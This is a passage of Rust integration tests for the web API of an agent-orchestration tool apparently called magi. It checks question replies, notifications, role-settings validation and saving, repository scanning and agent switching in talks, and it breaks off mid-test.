13065 let store = fx.questions();
13066 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13067 store.beat(&id, ask::WaiterKind::Asker);
13068 assert_eq!(
13069 fx.get("/api/health").await.json()["questions_needs_owner"],
13070 1
13071 );
13072
13073 let res = fx
13079 .post(
13080 &format!("/api/questions/{id}/say"),
13081 Some(r#"{"body":"why not Postgres?"}"#),
13082 )
13083 .await;
13084 assert_eq!(res.status, 200, "{}", res.body);
13085 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13086 assert_eq!(
13087 fx.get("/api/health").await.json()["questions_needs_owner"],
13088 0,
13089 "waiting on the agent is not waiting on the owner"
13090 );
13091
13092 let mut q = store.get(&id).expect("get");
13096 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13097 .expect("reply");
13098 store.put(&mut q).expect("put");
13099 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13100 assert_eq!(
13101 fx.get("/api/health").await.json()["questions_needs_owner"],
13102 1,
13103 "the agent's reply is what should light the banner back up"
13104 );
13105 }
13106
13107 #[tokio::test]
13108 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13109 let fx = Fixture::start().await;
13110 let store = fx.questions();
13111
13112 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13113 let res = fx
13114 .post(
13115 &format!("/api/questions/{empty_id}/say"),
13116 Some(r#"{"body":" "}"#),
13117 )
13118 .await;
13119 assert_eq!(res.status, 400, "{}", res.body);
13120
13121 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13122 let mut answered = store.get(&answered_id).expect("get");
13123 answered
13124 .answer(Answer::Choice("SQLite".to_owned()))
13125 .expect("answer");
13126 store.put(&mut answered).expect("put");
13127 let res = fx
13128 .post(
13129 &format!("/api/questions/{answered_id}/say"),
13130 Some(r#"{"body":"still there?"}"#),
13131 )
13132 .await;
13133 assert_eq!(res.status, 409, "{}", res.body);
13134
13135 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13136 let mut abandoned = store.get(&abandoned_id).expect("get");
13137 abandoned.abandon("timed out");
13138 store.put(&mut abandoned).expect("put");
13139 let res = fx
13140 .post(
13141 &format!("/api/questions/{abandoned_id}/say"),
13142 Some(r#"{"body":"still there?"}"#),
13143 )
13144 .await;
13145 assert_eq!(res.status, 409, "{}", res.body);
13146 }
13147
13148 #[tokio::test]
13149 async fn an_answer_the_question_does_not_offer_is_refused() {
13150 let fx = Fixture::start().await;
13151 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13152 let path = format!("/api/questions/{id}/answer");
13153
13154 for body in [
13155 r#"{"choice":"Postgres"}"#,
13156 r#"{"text":"whatever you think"}"#,
13157 r#"{"choice":"Redis","text":"both"}"#,
13158 r#"{}"#,
13159 ] {
13160 let res = fx.post(&path, Some(body)).await;
13161 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13162 assert!(res.json()["error"].is_string(), "{}", res.body);
13163 }
13164 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13166 }
13167
13168 #[tokio::test]
13169 async fn a_free_text_question_takes_text_and_not_a_choice() {
13170 let fx = Fixture::start().await;
13171 let id = ask(&fx, "What should the flag be called?", &[]);
13172 fx.questions().beat(&id, ask::WaiterKind::Asker);
13173 let path = format!("/api/questions/{id}/answer");
13174
13175 assert_eq!(
13176 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13177 400
13178 );
13179 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13180 assert_eq!(res.status, 200, "{}", res.body);
13181 assert_eq!(res.json()["answer"]["text"], "--json");
13182 }
13183
13184 #[tokio::test]
13185 async fn an_unknown_question_is_a_json_404() {
13186 let fx = Fixture::start().await;
13187 let res = fx
13188 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13189 .await;
13190 assert_eq!(res.status, 404, "{}", res.body);
13191 assert!(res.json()["error"].is_string());
13192 }
13193
13194 #[tokio::test]
13195 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13196 let fx = Fixture::start().await;
13197 let questions = Questions::at(fx.home.path().join("questions"));
13198 let store = Notices::at(fx.home.path().join("notifications"));
13199 let mut q = ask::Question::new(
13200 "t1".into(),
13201 "conduct".into(),
13202 "conductor".into(),
13203 "Continue?".into(),
13204 String::new(),
13205 Vec::new(),
13206 );
13207 questions.put(&mut q).unwrap();
13208 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13209 n.covered_by = Some(q.id.clone());
13210 let n = store.raise(n).unwrap();
13211 let listed = fx.get("/api/notifications").await.json();
13212 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13213 questions
13214 .update(&q.id, |q| {
13215 q.abandon("run gone");
13216 Ok(())
13217 })
13218 .unwrap();
13219 let listed = fx.get("/api/notifications").await.json();
13220 assert!(listed["items"][0]["answerable_question"].is_null());
13221 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13222 assert!(
13223 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13224 .unwrap()
13225 .contains("answerable_question")
13226 );
13227 }
13228
13229 #[tokio::test]
13230 async fn notifications_list_read_dismiss_and_health_agree() {
13231 let fx = Fixture::start().await;
13232 let store = Notices::at(fx.home.path().join("notifications"));
13233 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13234 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13235
13236 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13237 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13238
13239 store
13240 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13241 .unwrap();
13242 let health = fx.get("/api/health").await.json();
13243 assert_eq!(health["notifications_unread"], 2);
13244 assert_ne!(
13245 health["notifications_rev"], rev0,
13246 "the badge must move live"
13247 );
13248
13249 let listed = fx.get("/api/notifications").await.json();
13250 assert_eq!(listed["unread"], 2);
13251 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13252 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13253
13254 let read = fx
13255 .post(&format!("/api/notifications/{}/read", a.id), None)
13256 .await;
13257 assert_eq!(read.status, 200, "{}", read.body);
13258 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13259
13260 let gone = fx
13261 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13262 .await;
13263 assert_eq!(gone.status, 200, "{}", gone.body);
13264 let listed = fx.get("/api/notifications").await.json();
13265 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13266 assert_eq!(listed["unread"], 0);
13267
13268 store.raise(Notice::info("x", "again")).unwrap();
13269 let all = fx.post("/api/notifications/read-all", None).await;
13270 assert_eq!(all.status, 200, "{}", all.body);
13271 assert_eq!(all.json()["marked"], 1);
13272 assert_eq!(
13273 fx.get("/api/health").await.json()["notifications_unread"],
13274 0
13275 );
13276
13277 let missing = fx.post("/api/notifications/nope/read", None).await;
13278 assert_eq!(missing.status, 404, "{}", missing.body);
13279 assert!(missing.json()["error"].is_string());
13280 }
13281
13282 #[tokio::test]
13289 async fn a_task_cannot_be_filed_over_the_phone_directly() {
13290 let f = Fixture::start().await;
13291
13292 let res = f
13293 .post(
13294 "/api/queue",
13295 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13296 )
13297 .await;
13298
13299 assert_eq!(
13300 res.status, 405,
13301 "POST /api/queue must not be a route: {}",
13302 res.body
13303 );
13304 assert!(
13305 f.queue().list().is_empty(),
13306 "a task filed by a route that does not exist must not reach the disk"
13307 );
13308 assert_eq!(f.get("/api/queue").await.status, 200);
13311 }
13312
13313 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13315 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13316 .expect("checkout dir");
13317 }
13318
13319 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13321
13322 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13323 let tmp = TempDir::new().expect("tempdir");
13324 let repo = tmp.path().join("repo");
13325 std::fs::create_dir_all(&repo).expect("repo dir");
13326 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13327 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13328 if let Some(text) = machine_toml {
13329 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13330 std::fs::write(&machine, text).expect("machine toml");
13331 }
13332 (tmp, repo, machine)
13333 }
13334
13335 async fn settings_checkout(path: &FsPath, text: &str) {
13336 std::fs::create_dir_all(path).unwrap();
13337 std::fs::write(path.join("magi.toml"), text).unwrap();
13338 for args in [
13339 vec!["init", "-b", "main"],
13340 vec!["add", "magi.toml"],
13341 vec![
13342 "-c",
13343 "user.name=Test",
13344 "-c",
13345 "user.email=test@example.invalid",
13346 "commit",
13347 "-m",
13348 "fixture",
13349 ],
13350 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13351 vec![
13352 "symbolic-ref",
13353 "refs/remotes/origin/HEAD",
13354 "refs/remotes/origin/main",
13355 ],
13356 ] {
13357 crate::git::git(path, &args).await.unwrap();
13358 }
13359 }
13360
13361 #[tokio::test]
13362 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13363 let (tmp, repo, machine) =
13364 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13365 let root = tmp.path().join("roots");
13366 let selected = root.join("host/owner/selected");
13367 settings_checkout(
13368 &selected,
13369 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13370 )
13371 .await;
13372 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13373 let before = std::fs::read(&machine).unwrap();
13374 let ui = Arc::new(
13375 Ui::new(
13376 Queue::at(tmp.path().join("queue")),
13377 Questions::at(tmp.path().join("questions")),
13378 Talks::at(tmp.path().join("talks")),
13379 tmp.path().join("runs"),
13380 tmp.path().to_path_buf(),
13381 repo.clone(),
13382 )
13383 .with_machine_config(Some(machine.clone())),
13384 );
13385 let query = || {
13386 Query(SettingsQuery {
13387 repo: Some(selected.clone()),
13388 })
13389 };
13390 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13391 assert!(v.error.is_none(), "{:?}", v.error);
13392 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13393 assert_eq!(conductor.source, "repo");
13394 assert_eq!(
13395 conductor.machine_value,
13396 Some(toml::Value::String("a".into()))
13397 );
13398 assert!(!conductor.editable);
13399 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13400 assert_eq!(
13401 judges.count.as_ref().unwrap().machine_value,
13402 Some(toml::Value::Integer(1))
13403 );
13404 assert!(
13405 !v.roles
13406 .iter()
13407 .find(|r| r.key == "reviewers")
13408 .unwrap()
13409 .editable
13410 );
13411 let unknown = || {
13412 Query(SettingsQuery {
13413 repo: Some(tmp.path().to_path_buf()),
13414 })
13415 };
13416 assert_eq!(
13417 settings_get(State(ui.clone()), unknown())
13418 .await
13419 .unwrap_err()
13420 .status,
13421 StatusCode::UNPROCESSABLE_ENTITY
13422 );
13423 let body = || {
13424 Ok(Json(RolesBody {
13425 revision: v.revision.clone(),
13426 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13427 counts: Default::default(),
13428 }))
13429 };
13430 assert_eq!(
13431 settings_put_roles(State(ui.clone()), unknown(), body())
13432 .await
13433 .unwrap_err()
13434 .status,
13435 StatusCode::UNPROCESSABLE_ENTITY
13436 );
13437 assert_eq!(std::fs::read(&machine).unwrap(), before);
13438 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13439 .await
13440 .unwrap();
13441 assert_eq!(
13442 saved.repo,
13443 selected.canonicalize().unwrap().display().to_string()
13444 );
13445 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13446 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13447 let fresh = root.join("host/owner/fresh");
13449 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13450 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13451 .await
13452 .unwrap();
13453 assert_eq!(fresh_view.repositories.len(), 3);
13454 }
13455
13456 #[tokio::test]
13457 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13458 let (tmp, repo, machine) = settings_dirs(
13459 "[roles]\nreviewers = [\"a\"]\n",
13460 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13461 );
13462 let root = tmp.path().join("roots");
13463 let selected = root.join("host/owner/selected");
13464 settings_checkout(
13465 &selected,
13466 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13467 )
13468 .await;
13469 let broken = root.join("host/owner/broken");
13470 settings_checkout(&broken, "[roles\nbroken").await;
13471 let machine_text = format!(
13472 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13473 toml::Value::String(root.display().to_string())
13474 );
13475 std::fs::write(&machine, &machine_text).unwrap();
13476 let originals: Vec<_> = [&repo, &selected, &broken]
13477 .iter()
13478 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13479 .collect();
13480 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13481 let default = f.get("/api/settings").await.json();
13482 assert_eq!(
13483 default["repo"],
13484 repo.canonicalize().unwrap().display().to_string()
13485 );
13486 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13487 let query = format!("?repo={}", selected.display());
13488 let res = f.get(&format!("/api/settings{query}")).await;
13489 assert_eq!(res.status, 200, "{}", res.body);
13490 let v = res.json();
13491 assert!(v["error"].is_null(), "{v}");
13492 assert_eq!(v["repositories"], default["repositories"]);
13493 let role = |key: &str| {
13494 v["roles"]
13495 .as_array()
13496 .unwrap()
13497 .iter()
13498 .find(|r| r["key"] == key)
13499 .unwrap()
13500 };
13501 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13502 assert_eq!(role("advisors")["source"], "repo");
13503 assert_eq!(role("advisors")["editable"], false);
13504 assert!(role("advisors")["machine_value"].is_null());
13505 assert_eq!(role("judges")["count"]["value"], 2);
13506 assert_eq!(role("judges")["count"]["machine_value"], 1);
13507 assert_eq!(role("judges")["count"]["source"], "repo");
13508 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13509 assert!(
13510 source.contains("origin/main") && !source.contains("magi/config/"),
13511 "{source}"
13512 );
13513 assert_eq!(
13514 role("reviewers")["editable"],
13515 false,
13516 "default context outside roots must protect its declarations"
13517 );
13518 let body =
13519 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13520 let unknown = format!("?repo={}", tmp.path().display());
13521 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13522 assert_eq!(
13523 f.put(&format!("/api/settings/roles{unknown}"), &body)
13524 .await
13525 .status,
13526 422
13527 );
13528 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13529 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13530 .to_string();
13531 assert_eq!(
13532 f.put(&format!("/api/settings/roles{query}"), &refuse)
13533 .await
13534 .status,
13535 422
13536 );
13537 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13538 assert_eq!(saved.status, 200, "{}", saved.body);
13539 assert_eq!(saved.json()["repo"], v["repo"]);
13540 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13541 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13542 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13543 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13544 }
13545 let error = f
13546 .get(&format!("/api/settings?repo={}", broken.display()))
13547 .await;
13548 assert_eq!(error.status, 200);
13549 assert!(error.json()["error"]["message"].is_string());
13550 assert_eq!(error.json()["repositories"], default["repositories"]);
13551 }
13552
13553 #[tokio::test]
13554 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13555 let (_tmp, repo, machine) =
13556 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13557 let f = Fixture::with_repo_and_machine(repo, machine).await;
13558 let res = f.get("/api/settings").await;
13559 assert_eq!(res.status, 200, "{}", res.body);
13560 let v = res.json();
13561 assert!(v["error"].is_null(), "{v}");
13562 let role = |k: &str| {
13563 v["roles"]
13564 .as_array()
13565 .and_then(|r| r.iter().find(|x| x["key"] == k))
13566 .cloned()
13567 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13568 };
13569 assert_eq!(role("judges")["source"], "machine");
13570 assert_eq!(role("judges")["editable"], true);
13571 assert_eq!(role("implementers")["source"], "default");
13572 let adv = role("advisors");
13573 assert_eq!(adv["fallback"], "judges");
13574 assert!(
13575 adv["seats"]
13576 .as_array()
13577 .is_some_and(|s| s.iter().all(|x| x == "b")),
13578 "{adv}"
13579 );
13580 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13581 assert_eq!(v["agents"][0]["source"], "repo");
13582 }
13583
13584 #[tokio::test]
13585 async fn settings_get_reports_a_config_that_does_not_parse() {
13586 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13587 let f = Fixture::with_repo_and_machine(repo, machine).await;
13588 let res = f.get("/api/settings").await;
13589 assert_eq!(res.status, 200, "{}", res.body);
13590 let v = res.json();
13591 assert!(v["error"]["message"].is_string(), "{v}");
13592 assert!(
13593 v["error"]["path"]
13594 .as_str()
13595 .is_some_and(|p| p.ends_with("magi.toml")),
13596 "{v}"
13597 );
13598 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13599 }
13600
13601 #[tokio::test]
13602 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13603 let (_tmp, repo, machine) = settings_dirs(
13604 SETTINGS_AGENTS,
13605 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13606 );
13607 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13608 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13609 let rev = f.get("/api/settings").await.json()["revision"]
13610 .as_str()
13611 .expect("revision")
13612 .to_owned();
13613 let body = serde_json::json!({
13614 "revision": rev,
13615 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13616 })
13617 .to_string();
13618 let res = f.put("/api/settings/roles", &body).await;
13619 assert_eq!(res.status, 200, "{}", res.body);
13620 let text = std::fs::read_to_string(&machine).expect("machine");
13621 assert_eq!(
13622 text,
13623 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13624 );
13625 assert_eq!(
13626 std::fs::read(repo.join("magi.toml")).expect("read"),
13627 repo_before
13628 );
13629 let again = f.get("/api/settings").await.json();
13630 let judges = again["roles"]
13631 .as_array()
13632 .expect("roles")
13633 .iter()
13634 .find(|r| r["key"] == "judges")
13635 .expect("judges")
13636 .clone();
13637 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13638 let stale = f.put("/api/settings/roles", &body).await;
13640 assert_eq!(stale.status, 409, "{}", stale.body);
13641 }
13642
13643 #[tokio::test]
13644 async fn settings_counts_are_reported_and_saved() {
13645 let (_tmp, repo, machine) = settings_dirs(
13646 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13647 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13648 );
13649 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13650 let v = f.get("/api/settings").await.json();
13651 let count = |v: &serde_json::Value, k: &str| {
13652 v["roles"]
13653 .as_array()
13654 .and_then(|r| r.iter().find(|x| x["key"] == k))
13655 .map(|x| x["count"].clone())
13656 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13657 };
13658 let imp = count(&v, "implementers");
13659 assert_eq!(imp["value"], 2);
13660 assert_eq!(imp["source"], "machine");
13661 assert_eq!(imp["file_key"], "candidates");
13662 assert_eq!(imp["roster_len"], 2);
13663 assert_eq!(imp["backups"], 0);
13664 assert_eq!(count(&v, "judges")["source"], "default");
13665 assert_eq!(count(&v, "advisors")["min"], 0);
13666 assert_eq!(count(&v, "reviewers")["editable"], false);
13667 assert!(
13668 count(&v, "reviewers")["locked_reason"]
13669 .as_str()
13670 .is_some_and(|m| m.contains("graph.reviewers"))
13671 );
13672 assert!(count(&v, "fixer").is_null());
13673 let rev = v["revision"].as_str().expect("revision").to_owned();
13674 let body = serde_json::json!({
13675 "revision": rev,
13676 "roles": { "judges": ["b"] },
13677 "counts": { "implementers": 1, "advisors": 0 }
13678 })
13679 .to_string();
13680 let res = f.put("/api/settings/roles", &body).await;
13681 assert_eq!(res.status, 200, "{}", res.body);
13682 let text = std::fs::read_to_string(&machine).expect("machine");
13683 assert_eq!(
13684 text,
13685 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13686 );
13687 let after = f.get("/api/settings").await.json();
13688 assert_eq!(count(&after, "implementers")["value"], 1);
13689 assert_eq!(count(&after, "implementers")["backups"], 1);
13690 assert_eq!(count(&after, "advisors")["value"], 0);
13691 let before = std::fs::read_to_string(&machine).expect("machine");
13692 let rev = after["revision"].as_str().expect("revision").to_owned();
13693 for counts in [
13694 serde_json::json!({ "judges": 0 }),
13695 serde_json::json!({ "judges": "x" }),
13696 serde_json::json!({ "judges": 2.5 }),
13697 serde_json::json!({ "judges": -1 }),
13698 serde_json::json!({ "reviewers": 3 }),
13699 serde_json::json!({ "bogus": 3 }),
13700 ] {
13701 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13702 let res = f.put("/api/settings/roles", &body).await;
13703 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13704 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13705 }
13706 }
13707
13708 #[tokio::test]
13709 async fn settings_put_refuses_without_touching_the_file() {
13710 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13711 let (_tmp, repo, machine) = settings_dirs(
13712 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13713 Some(machine_text),
13714 );
13715 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13716 let rev = f.get("/api/settings").await.json()["revision"]
13717 .as_str()
13718 .expect("revision")
13719 .to_owned();
13720 for roles in [
13721 serde_json::json!({ "judges": ["nope"] }),
13722 serde_json::json!({ "reviewers": ["b"] }),
13723 serde_json::json!({ "bogus": ["a"] }),
13724 ] {
13725 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13726 let res = f.put("/api/settings/roles", &body).await;
13727 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13728 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13729 assert_eq!(
13730 std::fs::read_to_string(&machine).expect("machine"),
13731 machine_text
13732 );
13733 }
13734 }
13735
13736 #[tokio::test]
13737 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13738 let tmp = TempDir::new().expect("tempdir");
13739 let repo = tmp.path().join("repo");
13740 std::fs::create_dir_all(&repo).expect("repo dir");
13741 let root = tmp.path().join("root");
13742 make_checkout(&root, "github.com", "yukimemi", "magi");
13743 std::fs::write(
13744 repo.join("magi.toml"),
13745 format!(
13746 "[repos]\nroots = [{:?}]\n",
13747 root.to_string_lossy().into_owned()
13748 ),
13749 )
13750 .expect("write magi.toml");
13751
13752 let f = Fixture::with_repo(repo).await;
13753 let res = f.get("/api/repos").await;
13754 assert_eq!(res.status, 200, "{}", res.body);
13755 let list = res.json();
13756 let repos = list.as_array().expect("an array");
13757 assert_eq!(repos.len(), 1);
13758 assert_eq!(repos[0]["name"], "yukimemi/magi");
13759 assert!(
13760 repos[0]["path"]
13761 .as_str()
13762 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13763 "{list}"
13764 );
13765 }
13766
13767 #[tokio::test]
13768 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13769 let tmp = TempDir::new().expect("tempdir");
13770 let repo = tmp.path().join("repo");
13771 std::fs::create_dir_all(&repo).expect("repo dir");
13772 let root = tmp.path().join("root");
13773 make_checkout(&root, "github.com", "yukimemi", "magi");
13774 std::fs::write(
13775 repo.join("magi.toml"),
13776 format!(
13777 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13778 root.to_string_lossy().into_owned()
13779 ),
13780 )
13781 .expect("write magi.toml");
13782
13783 let f = Fixture::with_repo(repo).await;
13784 let first = f.get("/api/repos").await;
13785 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13786
13787 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13790 let second = f.get("/api/repos").await;
13791 assert_eq!(
13792 second.json().as_array().map(Vec::len),
13793 Some(1),
13794 "a fresh cache must not rescan inside the TTL"
13795 );
13796
13797 let refreshed = f.get("/api/repos?refresh=1").await;
13798 assert_eq!(
13799 refreshed.json().as_array().map(Vec::len),
13800 Some(2),
13801 "an explicit refresh must rescan even inside the TTL"
13802 );
13803 }
13804
13805 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13811
13812 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13816 let tmp = TempDir::new().expect("tempdir");
13817 let repo = tmp.path().join("repo");
13818 std::fs::create_dir_all(&repo).expect("repo dir");
13819 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13820 let f = Fixture::with_repo(repo.clone()).await;
13821 (tmp, repo, f)
13822 }
13823
13824 #[tokio::test]
13825 async fn posting_a_talk_with_remembered_choices_is_soft() {
13826 let (_tmp, _repo, f) = talk_fixture().await;
13827
13828 let good = f
13829 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13830 .await;
13831 assert_eq!(good.status, 201, "{}", good.body);
13832 assert_eq!(good.json()["persona"], "rei");
13833
13834 let stale = f
13836 .post(
13837 "/api/talks",
13838 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13839 )
13840 .await;
13841 assert_eq!(stale.status, 201, "{}", stale.body);
13842 let v = stale.json();
13843 assert_eq!(v["implementers"], 1);
13844 assert_ne!(v["persona"], "nobody");
13845 let typed = f
13846 .post(
13847 "/api/talks",
13848 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13849 )
13850 .await;
13851 assert_eq!(typed.status, 201, "{}", typed.body);
13852
13853 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13855 assert!(
13856 !strict.status.to_string().starts_with('2'),
13857 "{}",
13858 strict.body
13859 );
13860 }
13861
13862 #[tokio::test]
13863 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13864 let (_tmp, _repo, f) = talk_fixture().await;
13865
13866 let opened = f.post("/api/talks", None).await;
13869 assert_eq!(opened.status, 201, "{}", opened.body);
13870 let body = opened.json();
13871 assert_eq!(body["status"], "open");
13872 assert_eq!(
13873 body["turns"].as_array().unwrap().len(),
13874 0,
13875 "opening takes no agent turn: there is nothing yet to answer"
13876 );
13877
13878 let also_opened = f.post("/api/talks", Some("{}")).await;
13880 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13881
13882 let listed = f.get("/api/talks").await.json();
13883 assert_eq!(listed.as_array().unwrap().len(), 2);
13884 }
13885
13886 #[tokio::test]
13887 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13888 let tmp = TempDir::new().expect("tempdir");
13889 let repo = tmp.path().join("repo");
13890 std::fs::create_dir_all(&repo).expect("repo dir");
13891 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13892 std::fs::write(
13893 repo.join("magi.toml"),
13894 format!("{MOCK_AGENT_TOML}\n{second}"),
13895 )
13896 .expect("write magi.toml");
13897 let home = TempDir::new().expect("temp home");
13898 let talks = Talks::at(home.path().join("talks"));
13899 let ui = Arc::new(
13900 Ui::new(
13901 Queue::at(home.path().join("queue")),
13902 Questions::at(home.path().join("questions")),
13903 talks.clone(),
13904 home.path().join("runs"),
13905 home.path().to_path_buf(),
13906 repo.clone(),
13907 )
13908 .with_worktrees_root(home.path().join("wt")),
13909 );
13910 let cfg = config_for(&repo).await.expect("discover config");
13911 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13912 let id = talk.id.clone();
13913 let call = |agent: &str| {
13914 talk_agent(
13915 State(Arc::clone(&ui)),
13916 Path(id.clone()),
13917 Json(TalkAgent {
13918 agent: agent.to_owned(),
13919 }),
13920 )
13921 };
13922
13923 let unknown = call("nobody").await.expect_err("unknown agent");
13924 assert_eq!(
13925 unknown.status,
13926 StatusCode::BAD_REQUEST,
13927 "{}",
13928 unknown.message
13929 );
13930
13931 {
13932 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13935 let busy = call("second").await.expect_err("busy talk");
13936 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13937 assert!(
13938 busy.message.contains("a talk turn is running"),
13939 "{}",
13940 busy.message
13941 );
13942 drop(guard);
13943 }
13944 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13945
13946 let Json(view) = call("second").await.expect("switch");
13947 assert_eq!(view.talk.agent, "second");
